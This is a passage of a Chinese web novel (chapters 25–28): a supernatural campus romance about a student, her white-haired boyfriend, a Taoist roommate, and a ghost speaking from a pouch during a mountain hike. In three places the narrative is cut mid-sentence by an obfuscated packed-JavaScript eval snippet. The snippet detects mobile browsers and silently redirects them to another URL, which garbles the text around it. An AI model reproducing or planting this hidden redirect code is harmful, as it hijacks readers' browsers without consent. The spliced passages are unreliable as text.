她在想象中蒙上了那男人的下半张脸,那双充斥着漫不经心的漂亮眼睛就随之明显起来,与刚才和常喜乐对视的人的双目重合在了一起。其主人是谁也就昭然若揭了。 怎么会?他不是梦中的人吗?怎么会出现在现实世界? “没错,刚在席上我就觉得你眼熟,结果真的是你。”许护士弯着眼睛笑,打断了常喜乐的思绪。她伸出手说,“都出院了就别许护士许护士的叫了,正式介绍一下,我叫许施然” 常喜乐心不在焉地和她握了握手。许施然又问:“这几天是不是有几个人来找过你?” 常喜乐一愣:“你怎么知道的?” 徐婉佳去世当天,张钧婵接受不了女儿就这样无声无息地去世了,她在医院大闹一场后,被告知这一切的确只是意外,没有任何过错方的存在。张钧婵掩面哭泣,最后带着女儿的尸体离开了。 但过了不久,就有自称是什么局的人拿着证件来调查。调查包括问询这几日值班的护士,许施然也在其内。基本上一切都没有问题,除了常喜乐住过的那件病房里被阿姨无意间清扫出来的纸张。 “他们问你是怎样的人,我说你是特别好的姑娘呀,我们都知道的。你两次救下了两位病人的故事还在我们那儿流传呢。” 常喜乐的眼睛眨了眨,她问:“戴山雁,现在怎么样了?” 许施然就沉默了下去,过了好一会儿才说:“在昨晚,她抢救无效,去世了。” 见常喜乐又陷入了沉默,许施然突然开始翻起自己随身携带的包:“对了,我有个东西要给你的。因为不知道什么时候能遇见你,所以一直带在身上。” 她翻找了好一会儿,拿出了个紫色荷包,是常喜乐先前托她送给病危中的戴山雁的。 常喜乐沉默着接过了荷包,然后又用手掂了掂。 “奇怪。”她突然自语道,“怎么感觉沉了很多?” “诶,变重了吗?”许施然有些讶异,她说,“我没有往里面另外再加东西了。” 常喜乐打开荷包往里看,只见里面的确只放了一张黄符纸,除此之外什么都没有了。 “没事,不要紧,可能只是心理作用吧?”常喜乐自我安慰着,不让许施然太担心。然而,她拿到荷包的那一刻,还感觉到了一股寒气从脚底直冲而上。 假如刚才那位不肯报上名讳的黑衣男人此刻还在的话,看到这一幕,一定会不顾一切地拿走这个荷包。 然而,常喜乐只顾着用手掂量荷包的重量,没有发现身旁站了第三个女人。 25.白发 这一个周末就在忙碌中度过。接下来的五天都是满课,似乎也出不了远门。 “我们最好在这周末就出发。”杨瑰司给常喜乐看日历,“过了周末,再上一天课,就放国庆了。” 她看着常喜乐,犹豫了会儿还是提醒道:“在这之前,建议你不要随便出学校。平时多长点心眼,在路上多观察路况。” 常喜乐点了点头,心想每天都满课,一回寝室就累趴下了,也实在没什么地方可去吧? 第二天上课的时候,常喜乐达成了每节课都被老师点名回答问题的成就。 强度高到什么程度?这样形容吧,这节大课,平常偶尔有人逃个课,只要不点名就发现不了。而常喜乐光是去上个厕所,手机就滴滴滴地报信说“老师刚点了你的名。” ……还说要不逃个水课去常乐山一观呢,这还逃什么逃! 任清同学对这话很不赞同:“逃课是不对的。” 方信艾有不同意见:“但不都说没逃过课的大学不完整吗?” 任清哼了一声:“我觉得这是歪理。” 常喜乐见这俩人又顶上了,却无心拉架。她苦恼地托着脸心想,不想逃课和不能逃课是两码事! 第三天,常喜乐座位周围就空了一片,原先位置上的同学宁肯坐在第一排也要换座位。因为坐在常喜乐身边,就会跟着被一起点名回答问题。 只剩下方信艾、任清、杨瑰司还坚强地坐在她身边。等回到寝室后集体累趴下了,方信艾趴在桌子上哀嚎道:“我上一整周被点名的次数都没有今天多!” 其他三人都没什么力气说话。过了会,方信艾刷着手机,突然问:“诶喜乐,这是不是你男朋友啊?” “嗯?”常喜乐凑过去看,方信艾朋友圈有一条校园墙的帖子。 [墙!捞一个经常在林环湖写生的男生。我真的很想很想很想问,你究竟在哪里染的头发!为什么连一丁点儿黑发根都看不出!感觉发质也超好……呜呜呜跪求个店铺地址,我滚过去染ORZ] 文案下附赠了一张照片,是个白色短发的男生坐在湖边写生的背影。 不需要再看清楚脸,常喜乐就肯定道:“是他。” 这帖子下面跟了好多评论: [蹲蹲!] [我线下见过他!帖主一点儿没说错,这个人发质超级好,染出来的颜色也很漂亮。] [歪个楼,此男看起来颜值好高,有没有可能其实脸才是最好的时尚单品?] [你都拍照了为什么不直接去问他?] [回楼上:他看起来太高冷了我不敢呜呜呜呜] 看到这,常喜乐顿了顿,心想,安平高冷吗? “所以他是在哪染的头发?”这些评论听得方信艾都心动了,她眼巴巴地问,“你知道不?” 常喜乐不知道。平常两人待在一块的时候,她总会把安平的头发绕在指尖,在发现绕的圈数逐渐增长时,嘟囔一句:“是不是该剪头发啦?”但她从未听安平说起补染发根的事。 但以安平的财政状况,真的可以支撑起这么频繁的补染吗? “我问问他吧。”常喜乐打开手机,开门见山地提问。 (^v^) :[你平常都在哪里染头发呀?] 安平:[你想要染头发吗?] 常喜乐撇了撇嘴。安平最近学坏了!他开始学会的用问题回答问题了。这让常喜乐总有种吃瘪的微妙感。 (^v^) :[可能,也许,会考虑染吧] 安平这次回得很快,他甚至等不及打字,直接发了一条语音。 常喜乐原本在有规律地以手指点屏幕,还没反应过来就不小心点开了语音条。 熟悉的男声在手机麦克风的处理下显得有些失真,带着一点机械感: “”可是你黑色头发最好看。” 一旁无意听见的方信艾默默想:他们的话题怎么就到这了? 常喜乐觉得耳根发烫,这人明明根本没见过常喜乐染别的发色,夸得毫无说服力,却仿佛极为诚恳的样子,让人招架不住。一旁十分关注提问进度的方信艾看着常喜乐不断变化的神色,最后眼看着她恼羞成怒了。 (^v^) :就是想知道呀!恋人之间是没有秘密的,快点告诉我!!! 三个感叹号,代表十万火急。 然而安平却沉默了很久,他的名字栏一直显示“对方正在输入中”,然而常喜乐等了很久,都没有再看到一条新消息。 熄灯在即,明天还得上课,常喜乐在室友催促下先行洗漱去了。 直到她躺到床上,把手机扔到一边打算睡觉的时候,手机才震动了一下。常喜乐眯着眼睛拿起手机,终于看见安平“正在输入中”俩小时的成果。 安平:[恋人之间,都没有秘密吗?] 他又把问题抛给了常喜乐,但这次似乎是因为困惑。 常喜乐现在回想刚才气急时说的话,其实也不是很确定。她自己也是头一回谈恋爱,这个问题属实有些超纲。 于是她点开了另一个备注为“母亲大人”的聊天框,决定向某位恋爱大师讨教一下。 (^v^) :[妈妈,在吗?] 你甜姨:[有事起奏,无事退朝] (^v^) :[你果然在熬夜!] 你甜姨:[?你搁这钓鱼执法呢,到底干嘛] (^v^) :[你觉得恋人之间应该要有秘密吗?] 你甜姨:[那必须有啊] 你甜姨:[比如你爸现在就不知道我在熬夜,我建议你保密,否则我就帮你自裁] (^v^) :[可是,恋人之间不应该要坦诚吗?] 你甜姨:[原则大事上当然要坦诚,但也要给对方足够的私人空间] 你甜姨:[比如你爸偷摸藏在沙发后面的私发钱我就一直看破不说破] (^v^) :[等着攒波大的是吗?] 你甜姨:[嗯。] 过了会,对面好像突然意识到了什么。 你甜姨:[嗯?你谈恋爱了?] (^v^) :[这个……那个……晚安!么么么么~] 你甜姨:[不是,这才开学多久啊?] 常喜乐憨笑着退出了聊天界面,虽然和老妈聊天总是免不了夹杂着插科打诨,但常喜乐对“恋人间没有秘密”这句话还是有了点改观。 “在哪染头发”算原则大事吗?肯定不算。那她是不是不应该一直抓着不放,安平不说总有他的理由吧? 她还在措辞该怎么回安平,对面又开始“正在输入中了”。 ……这个人一天到晚究竟是在输入些什么? 不过这一次他回得很快。 安平:[我的头发天生是白色,不是染的。] 常喜乐惊讶地微微张口,她意识到什么,立刻撤出聊天框,搜索“什么情况下人会天生白发?”。 出来的词条大多与一些病症相关,少部分才和遗传因素有关。 常喜乐沉默了。也就是说,她今晚很可能一直在逼着一个病人揭开自己的伤疤。想到安平刚才的欲言又止,常喜乐捂住头,在黑暗中无声地崩溃了一下。 她可真该死啊! (^v^):[对不起!] 她捏着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457411|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机坐立难安,看着屏幕上自己大大的笑脸昵称,觉得顶着个笑脸道歉很没诚意。下一秒, (T_T) :[呜呜呜呜对不起安平,我不应该逼你回答我你不想说的事。TAT 恋人之间是可以有秘密,是我错了] 安平下一句话还没编辑好,就看到常喜乐发来的这条信息,他有些不解的挑了挑眉毛。 这件事情算是翻篇了吗? 那接下来的那些话,他是不是不用再说了。 他逐字逐句删掉刚编辑好的话。假如常喜乐知道自己究竟错过了什么信息,一定会懊悔地捶胸顿足。 不过,现在的常喜乐在愧疚之余,已经快要撑不住了。 现在的时间早过了她平常入睡的点,常喜乐原本就靠一点别扭劲儿撑着。看到安平发来个“没关系”后,只觉困意如潮水般淹没了她。她还没来得及息屏,下一秒就阖上眼睡着了,心想,一定要找安平当面道个歉。 她没看见安平最后发出的话: [永远不用和我说抱歉] 另一边的安平不错眼地盯着屏幕上的最后一句话,微弱的屏幕光照亮他的一眨一眨的漂亮眼睛。 “这应该,不算骗人?”安平摸了摸自己的白色头发。自从来到山城大学,他已经很久没有因为自己的发色或者他人异样的目光而困扰了。如果可以,他衷心希望自己能有像常喜乐那样的一头黑发。 常喜乐这一晚上都没睡踏实。她不时惊醒,每回一醒来就开始反思:“呜呜呜我怎么可以这样说话?我真该死啊!” 大半夜的,方信艾的手机无声地亮了亮,上面显示常喜乐发来的一条信息: (T_T):[没有答案,我们还是耐心寻找适合自己的染发店吧] 第二天早上醒来的方信艾:??你怎么变成常悲伤了。 熬夜也直接导致了常喜乐次日上课的精神恍惚。上学路上、包括上课期间,她总感觉有什么声音在呼唤她的名字。可常喜乐每每四下观望,都没能找到声音的来源。 在常喜乐再一次扭头寻找声源的时候,光荣地再次被老师点名回答问题了。 “这位常同学,你在找什么?”这位老教师笑得和蔼,他对这个女学生已经眼熟了,每回上课的时候她看起来都有点心不在焉,然而被叫起来回答问题的时候却总能回答出来。是个特别的小同学。 常喜乐从座位上站了起来,思绪却依旧被那奇怪的声音牵动着。这声音越来越急切,也似乎理她越来越近了; “我在这,在这。你能看到我吗?” 这声音如泣如诉,简直像贴在她心口讲话,烧得常喜乐心慌。她急道:“我看不见!” 话音刚落,那个女声突然安静了。与此同时安静的是一整个教室。常喜乐这才回过神来,发现整个教室的人都看着她。 完,蛋,了!常喜乐本来就在老师那查有此人了,可不能再当刺头了。 那位老师却笑了笑:“你做得对,在课上有困难要及时提出来,我们才好解决。平常上别的班的课,那帮孩子都恨不得挤到教室最后一排去,但这几天我看我们班有好多同学都自发坐到第一排了啊,老师非常欣慰!你也看不清黑板是不是?来来来,我看第一排还有个空位置呢。” 话都说到这个份上了,常喜乐只好硬着头皮收拾了书本,在寝室另外两人同情的注视下往第一排走——杨瑰司上完厕所回来时,看到的就是这么个景象。 与此同时自认为更需要同情的是为了避开常喜乐所以坐到第一排的那批学生。 他们齐刷刷地看着常喜乐,眼里满是抗拒:这位被老师盯上的常同学你不要过来啊啊啊! 26.上山 因为出门得少,这几天常喜乐连见安平的次数都很少。等去完常乐山,大家就各自过国庆了,更见不着面了。 杨瑰司听常喜乐这样说,突然提议:“不如你问问他周末要不要和我们一起去?” 常喜乐第一反应关心道:“和不熟的人同行,你会不会觉得不自在?” 杨瑰司觉得莫名:“为什么要不自在?” 过会她突然笑起来:“打个赌吧,我猜他不敢去。” 不敢去的这个“敢”字就用得很巧妙。通常说一个人拒绝某个邀约,总用的理由是“不想去”“没法儿去”,但涉及到“不敢”,就说明他想去,但却有他害怕的东西在阻挠。 常乐山有什么值得安平害怕的东西? 常喜乐疑惑:“为什么呢?” 一旁的方信艾插话道:“据我的经验,可能是一个男人的体力不足以支撑他爬完山,但又怕在女友面前丢脸,所以干脆不去。” 常喜乐无论如何都没法将这种俗气的理由和安平对上号。 任清点头附和:“但他看上去的确是文弱书生一挂的呢。 常喜乐试图维护安平的名誉:“不管我去哪,安平都会和我一起的。” 杨瑰司扬眉:“争执无益,总之你问问看就知道了。” 常喜乐问:“赌注是什么?” 其余三人齐声说:“谁输谁负责带晚饭!” 说问就问,常喜乐打开手机,开始措辞。 (T_T):[安平,周末要不要和我一起去爬山?] 安平:[好] 安平:[你为什么还在哭?] (^v^) :[噢忘记改回来了] 常喜乐扬扬手机屏幕,得意地笑道:“看吧!” 杨瑰司却不服气,她抬抬下巴,不紧不慢道:“你告诉他要爬的是哪座山呢?” “常乐山是山城最高的一座山了,而且为了保护环境,人工修的路只到半山腰,后半程得自个儿走小径,很麻烦。”任清给有些迷茫的方信艾科普道。 安平既然已经答应了常喜乐,那不管上刀山还是下火海,他都会赴约的。但毕竟不能要求别人都了解安平,为了不出门买晚饭,常喜乐照着问: (^v^) :[你都不问问是什么山吗?] 安平很配合:[什么山?] (^v^) :[整个山城最高的常乐山噢!] 安平:[你会爬不动吗?到时我可以背你] 哦豁。 围在一边看戏的方信艾“豁”了一声,比了个大拇指。杨瑰司则百思不得其解,喃喃道:“不应该呀?” 常喜乐笑眯眯地用指尖点了点她的额头:“去买晚饭吧,亲爱的瑰司。” 杨瑰司直到食堂门口的时候都还不解:“这不应该啊!”吓了旁边饭后散步的小情侣一跳。 常喜乐翻了翻日历,继续问: (^v^) :[安平,你国庆打算回家吗?] 安平:[我打算去看望我的老师。] (^v^) :[你的老师在哪里呀?] 安平:[就在山城] 安平斟酌了一会用词,才又说:[的某个山头] 常喜乐从未听安平提起过他的什么恩师,但她对这一描述有些好奇:[某座山头?] 安平:[老师平常喜欢到各个山头串门,所以得花时间找找] 和杨瑰司的师父还真像,怪不得都说世外高人喜欢云游四海呢。山城因四面环山而得名,钟灵毓秀,被称为C国最宜居的城市之一。 于是等到临出发前一天,杨瑰司和常喜乐收拾着行李,方信艾则趴在椅背上看她们讨论。 常喜乐看她这眼巴巴的样子就觉得好笑:“你是不是也想去?” 方信艾还没来得及点头,任清就打断她:“大病初愈,爬个教学楼都要喘好久,你可别掺和了姑奶奶。” 方信艾就像蔫了的气球似的低下头:“好吧……” 过了会,任清把衣柜边的行李箱拉出来摊开,竟也开始收拾了。 方信艾不可置信道:“你不会也要去吧?就剩我一个人在寝室!” 任清神情间却有些忧愁:“我最近做噩梦实在太多了,我妈让我干脆请假,早点回家。” 方信艾哇哇大哭:“我不要一个人睡,我也害怕呜呜呜呜……” 任清原本在纠结带哪个周边娃娃回家,见方信艾哭——虽然只是在干嚎——塞了个最大尺寸的娃娃到她怀里。任清对这些周边娃娃宝贝得很,方信艾平常不洗手都不被允许靠近它们。 方信艾停下哭喊,看着怀里这个软软的娃娃,捏了捏,感叹道:“手感好好。” 任清哼了一声抬起头说:“这可是我最喜欢的角色周边了,让它代替我陪你吧。” “呜呜任妹我就知道你对我最好了!”方信艾一个飞扑抱住任清,被抱的这位还拧着眉毛思考带哪个娃娃回家。 次日,常喜乐按掉了闹钟,轻手轻脚地洗漱完,和杨瑰司一同出了宿舍。 临出门前,杨瑰司还做手势让常喜乐等一等。 只见她咬破了食指,以指尖血在一张黄纸上画下什么符号,然后递给常喜乐,以气音道:“收好。” 常喜乐在杨瑰司咬破手指的时候就从抽屉里找了创口贴出来,她接过那黄符放在包里,然后颇为强硬地拉着杨瑰司去厕所清洗了伤口,又妥善给她贴好创口贴。 等出了门之后,两人才用正常音量开始交流。 常喜乐这才有功夫拿着那黄符仔细端详——嗯……比医生的专属字体还要再难认一点。她自言自语道:“这是什么字儿啊?” 杨瑰司笑她:“这不是字,你当然不认得。” 她仔细给常喜乐讲这符的重要性:“这是聚合符,能暂时把你的气运锁在身边。不然,我怕你撑不到去常乐观的时候。” 常喜乐看着这干了的血迹,突然问:“为什么要用血?” 上回她给方信艾的符还是用清水写就的。 “维持时间更久。”其中原理对常喜乐来说太晦涩难懂了,杨瑰司只说结果,她又自嘲道,“毕竟我不够厉害,要是我师父在……” “我是想说,”常喜乐感动,“瑰司,你怎么这么好啊……!” “啊?”杨瑰司不明白这突如其来的赞美是为哪般,她挠挠头,“这点血量还不够我这一周被蚊子吸的血吧?” “你不是说,你不喜欢干涉她人的因果,帮我们只是因为你影响了我们?”常喜乐问。 杨瑰司点头:“是啊。” “可是,方信艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467931|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被饿死鬼附身、我被黄鼠狼讨封,都远在你搬回来之前。显然和你八竿子打不着关系的。”常喜乐一一分析完,得出了杨瑰司是个大好人的结论。 杨瑰司一时有些无言。实话说,她这几天管的闲事属实有些太多了,很不像她以往的作风。 “你很像我的一位故人。”她只是这么说。 所以,能帮就多帮点。 等两人下了楼,安平已经靠在对面大榕树边等待了。常喜乐打了个哈欠,和杨瑰司并排走上前打招呼:“安平,你起得好早啊。” 待看清安平的脸,常喜乐觉得哪里不对。她大跨一步上前捏住他的脸左右看看,然后痛心道:“你的黑眼圈怎么这么重了!” 安平长得白,黑眼圈在他脸上就愈发明显了。 安平眨了眨眼没有挣扎,但因为脸被捏住而口齿不清:“我去查路线了。” 常喜乐松开手:“嗯?” 他从随身带的包里拿出一个卷轴,展开后就是常乐山的地图,其各个细节无一不被记录在内,是一份相当完备的地图。 要说杨瑰司本人对常乐山才更熟悉一些,但她仔细看过这张地图,几个大地标都与她印象中相符,而一些难以了解到的细节竟然也被他一一标注,甚至包括了哪里有山洞、哪里有溪流。 “这都是你一晚上画的吗?”常喜乐惊叹。 杨瑰司则不解:“网络上专门的博主都写不出这么详细的路线图,你是怎么做到的。” 安平看了她一眼,只对着常喜乐回答:“我找了一些朋友帮忙。” 杨瑰司哼了一声:“什么朋友啊,下次带我们喜乐去见见呗。” 这语气不善,常喜乐想起那回杨瑰司劝自己小心安平的事。 安平与她对视了几眼,转头问常喜乐:“怎么不提前告诉我她也去?” 不等常喜乐回答,杨瑰司冷哼道:“我都能听见好吗?” 常喜乐:坏了,忘记他俩不对付了。 常喜乐忙打圆场:“这几天瑰司帮了我很多,安平,不许没礼貌!” 杨瑰司则有些后悔,原本提议的时候其实压根就没想过安平会同意赴约,不然她才不会搬起石头砸自己的脚。 不过这一来也好,接触得多了,说不定在路上杨瑰司就能揭露安平的庐山真面目了。任何人、动物、鬼神在常乐佛祖面前都无所遁形。她并没有就此泄气,只是不善地望着安平的后背,等着她怀疑的人露出破绽来。 这人却只是顺手接过常喜乐手上的包,向着校外的方向走去。 方信艾一醒来的时候,寝室里就已经空荡荡的了。她先是自由地外放刷了几个小时的视频,在寝室怒唱了一首歌,然后美滋滋地打开了朋友圈。 每日批阅表白墙投稿是她的乐趣之一。 她下滑封顶重新刷新,出来了一个帖子。 校园墙投稿:天杀的是谁拉我们学校小猫深夜干苦力啦!(bushi)今天照常带着零食去喂小猫,结果发现它们一只两只全在睡觉,活像连夜做贼去了。这正常吗? 回帖的人不多,只有一句: [昨晚我熬夜了,的确看到很多品种的猫在深夜走来走去,不知道在忙活什么] 方信艾百无聊赖地抱着任清留下的娃娃,过了会又睡上了回笼觉。 27.仙人显灵 今天不愧是周六,出行爬山的当地人、外地游客都很多。一路上听着路人欢声笑语,显得三人之间也没那么沉默了。 然而等过了官方修建的大路,再往山上走的时候,因行路困难,逐渐没再看见其余路人。此时三人的沉默就有些震耳欲聋了。 常喜乐见不得冷场,何况另外两人是为了她才走这一趟的,她有责任缓和气氛! 于是常喜乐左看看抱臂前行的杨瑰司,右看看沉默不语的安平,努力地开启话题:“你们有没有听说过一个志怪小故事?” “说来听听?”杨瑰司捧场,安平则配合地望向常喜乐。 “听说从前有个早起进山赶路的樵夫,因为途中太疲惫,就靠着大树睡了一觉。等他醒来,发现自己的朋友蹲在身边,说是路过瞧见他在这睡觉,不放心他一个人。于是两个人干脆一路同行。然而,他们走着走着便在山林里迷了路。两人互相扶持、好几次互相搭救,努力在大山里活了下来。他们走了好几天的路。终于有一天,那樵夫远远瞧见某个大树下坐着个人,欣喜若狂地上前问路,没想到那树下的人已经死了好多天。而这张脸,竟是与他同行了一路的朋友的脸!” 常喜乐听一次听这故事的时候,吓得手臂直起鸡皮疙瘩。此时她观察了两位听众的表情,见他们面不改色,只好干巴巴地咳嗽了两声,继续说:“原来,这朋友竟然是狐妖假扮的,真正的那位好友早已死于非命。” “因而都说人在山林里行走的时候,要格外小心已经走散过的同伴。”常喜乐眼看着自己已经把故事讲到了尾声,两个听众还是不为所动,她不禁泄气道,“你们怎么一点儿都不害怕呀?” 杨瑰司好笑地摇了摇头,刮了一下她的鼻尖,问:“这样的鬼故事你就害怕了?”她可是干这行的,听过的志怪故事数不胜数。此时杨瑰司坏心眼地想着,要不要挑个晚上在被窝里给常喜乐讲点恐怖故事,这孩子一定会吓得吱哇乱叫。 安平认真地听完了故事,却有些不解:“为什么要害怕?” “就是……细思极恐?”常喜乐一时也说不上原因。 杨瑰司则瞥了安平一眼,理所当然道:“身边朝夕相处的亲朋竟然非人,当然叫人害怕了。” 安平下意识反驳:“可相处多日,狐妖都没有害他、甚至救了他的命。” “那妖兴许只是想把人诱入巢穴罢了。他是山间的生灵,怎么可能会迷路?况且,无论是否包藏祸心,人妖之间巨大的力量差距,怎能让人不害怕?你未必会碾死一只蚂蚁,却不妨碍蚂蚁怕你。”杨瑰司见安平沉默不语,便又牵住常喜乐的手,转头用最温柔的声音笑着问,“可是喜乐,你怎么就确定,我们是人呢?” “哇啊啊啊啊!杨瑰司你太坏啦!”常喜乐果不其然又被吓着了,她尖叫着向前狂奔。 杨瑰司愣了愣,和显然情绪不佳的安平对视了眼,向前追去。 然而分明没有间隔多远,两人却真的没有找见常喜乐。原因在于这山上原本没有路,只是有些被人为踩出来的小径。每个人探山的路径不同,没有唯一的答案。 “喜乐!你在哪?”杨瑰司大喊了几声,都没有得到回应。安平眼见着常喜乐消失在面前,却不见惊慌、也没有呼喊,只是站在原地闭上了眼睛。 “喂,喜乐好说歹说也是你的恋人,你怎么一点反应都没……”杨瑰司有些焦急,转头问安平。他却将一根手指搭在唇前,嘘了一声。 在几息间,他就睁开眼,坚定地朝着某个方向走去了,任凭杨瑰司怎么喊都没回头。 原本这前往山顶的路就有些复杂,又已经走失一个常喜乐,再和安平走散就更麻烦了。杨瑰司犹豫了会儿,还是决定追上去。然而安平分明没有走多远,杨瑰司再往前走时,竟然也没再看见他。 她向前又走了几步,随后感到有些不对劲。等她再回头,身后的风景已经与刚才截然不同。 师父曾教过她,在踏入人迹罕至的地方时要保持足够的警惕心。同样的地方,哪怕只是改动了一草一木、一块石头,也可能迷惑人的心智。这可能属于奇门遁甲之术、亦有可能是鬼打墙。师父曾教导过破解方法,然而…… 破解方法是什么来着? 杨瑰司记得师父授课那天,窗外下着倾盆大雨,晴天娃娃在走廊上耷拉着晃荡,她甚至连坐垫边上有一只被打湿翅膀的蝴蝶是什么纹路都记得。 可唯独破解方法,却像被水晕开一般模糊不清。她离开师傅,实在太久、太久了。把学到的东西尽数还了回去。 她拧眉思索良久,才慢慢地自言自语道:“一探,二不,三回头?” 她干脆扯下手腕上的一抹丝巾,系在面前大树垂落的枝丫上,随后继续前行。不知过了多久,待她觉得面前景色熟悉时,便毫不犹豫地转身回头。等再远远看见那枝丫上飘扬的丝带后,再一次原路返回。这一下,面前的景色逐渐明晰了起来。 而就在离她不远处的地方,常喜乐仍在大声呼唤杨瑰司和安平。她实际上并没有跑出很远,但一转头,那两人却不见了,用手机联系也显示没有信号。尽管其呼喊声很大,杨瑰司却仿佛完全没听见。 “哎……早知道应该请安平把画的地图复印两份来。”常喜乐叹气,她原本就有些路痴,又是个胆小的。这会正在犹豫要不要往前走。按理说,与同伴失散时,似乎是应该留在原地等待的。因为安平和瑰司一定会来找她。 “喂,喂。你能看得见我吗?嘿!听得见吗?”那熟悉的呼唤声突然又响了起来。 常喜乐听见声音后,四处张望了一番,却没有看见有人,她回想起自己刚才讲的鬼故事,又惊起一身鸡皮疙瘩。她吓得蹲下抱住了头:“我看不见你呜呜呜,你别来吓我了,快走吧!” “我走不了……”那女声耳听着就哀怨起来,她悠悠道,“你说过要来找我玩的,却不告而别,真是个坏姑娘。” “你别哄我,我什么时候说过要来找你玩啦?”常喜乐被这话吓得脸色苍白,随着她蹲下,这声音离她越来越近,几乎贴在她耳朵边似的。 “噗。”那女人笑起来,终于不再逗常喜乐玩,“别叫了,快放我出来。我知道怎么出去。我是戴山雁呀。” “管你是什么喜鹊大雁的……我才不会放你出来!嗯?等等。”常喜乐突然意识到什么,她抬起头,茫然道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475281|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山雁,戴山雁?”蓝山医院曾被她救过一命的那位,美丽的女子。 “是我是我!你快把我拿出来。”对方显然激动了起来。常喜乐再仔细一听这声线,似乎的确是戴山雁不假。 她瘪了瘪嘴又想哭:“你不许假扮戴姐姐骗我,她已经去世了!” “废话,不然我怎么会跟着你在这个深山老林。”戴山雁也听见刚才常喜乐讲的志怪故事,知道这小姑娘在担忧什么。她想了想,试着自证身份,“你救我的那天,我送你了一束向日葵,后来想去找你玩,但听说你已经康复出院了。恭喜你。” 如果是常年囿于此地的鬼魂,怎会知道数天前远在百里之外的事?常喜乐慢慢抬起头,她有些不确定地说:“你真是戴姐姐?” “如假包换。” “可你为什么会在这?我要怎么把你放出来?” “你还记得那个紫色的荷包吗?”戴山雁的声音有些微弱,“”把它拿出来。” 常喜乐一愣,她这次出门的确带上了小姨给的那个荷包,记得是揣在了上衣的口袋里。她掏出那绛紫色的荷包,果然听见声音由此传来:“你怎么会在这?” “说来话长,我也很想知道。”戴山雁轻轻地叹了口气,“但当务之急还是让你从这鬼打墙里出去吧。” “鬼打墙?”常喜乐如惊弓之鸟般抬头,“你的意思是这里有鬼把我给困住了吗?” “那倒不是,这只是个叫法啦。你当局者迷,走不出这个阵很正常,跟着我说的方向走,很快就能出去。”接下来,戴山雁耐心地给常喜乐指导路线,等最后越过一棵树,面前就豁然开朗了。 面前是一大片绿油油的草坪,在正前方立着一栋古朴的建筑,飞檐翘角、景色幽深,有些像是道观。 “我们走出来了!”常喜乐对着戴山雁乐道。她擦了擦脸上的汗,长舒出一口气。这一路走来,天气炎热、爬山又辛苦,实在累得不行。 然而,常喜乐一走出这个所谓的阵,方才絮絮指导方位的戴山雁就噤了声,任凭她怎么呼唤也不肯再出来。 没办法,常喜乐只好先去这道观门口扣了扣门,想询问是否能向里头的人问个路、好找到她走失的同伴。 这建筑似乎有些年头了,朱色大门一敲就开,无人把守。入门是一大片空地,看着像是此地弟子专门训练的场地,却也没有人。 常喜乐谨慎地往里走去,来到一个以金色颜料在牌匾上题下“清樽宝殿”的地方。” 从门口望去,第一眼就能看见那座三层楼般高大的女像。那女像看起来高大威武,面中又怀有慈悲之色。常喜乐只觉得一阵凉风袭来,驱散了她身周的暑意。 常喜乐不禁喃喃道:“好神奇的地方,如此炎热的天气,却能自动吹来如此凉爽的清风。莫非是仙人显灵?” 这时,不知从哪儿走出来个穿道袍的男人。他一手执羽扇,笑着摇了摇头:“那倒不是。” 常喜乐看见此地的“工作人员”,很有些新奇,想听听专业人士怎么解释这一奇景。 然而,那道士摇头晃脑地解释道:“因为咱开空调了。” 常喜乐:……ok! 28.庇佑 “请问这是常乐观吗?”常喜乐总算没忘记自己还有正事要做,她必须尽快找到另外两人,否则等到天黑再走山路就危险了,“我和我的朋友走散了,请问你是否认识这一片的路呢?” 那道士却笑着没回答,他摸了摸胡子:“还没问,你是怎么进来的呢?” “左脚换右脚交替着走进来的?”常喜乐捏了捏口袋里的锦囊,戴山雁已经很久没有出声了,或许是因为害怕这位道士。常喜乐倒是可以理解,毕竟已经死过一回,要再伏诛了可就太冤枉。 这道士似乎不太满意她的回答,他问:“你进门前没看看牌匾吗?这是笑语观,你面前这是笑语娘娘像。” 常喜乐真是奇了怪了,她后退好几步撤回到大门口。等看清那应当挂着牌匾的位置时,才指着大门顶上没好气道:“供奉仙人也该用用心。你看,这牌匾一边掉下来,牌身完全被藤蔓遮住了!” 那道士一听,立刻心虚起来。他没跟着走出去确认,只是又摸着胡子从身后的木质五斗柜里拿出个卷轴来递给常喜乐:“我只知道怎么下山,你拿了地图就快快回家去,这不是你该来的地方。” 常喜乐接过地图仔细看了看。这张图采用简笔画的形式,歪歪扭扭一道道画下来,大致布局和安平画得那幅倒能对上,但简略至极,确实只能引导人下山去。 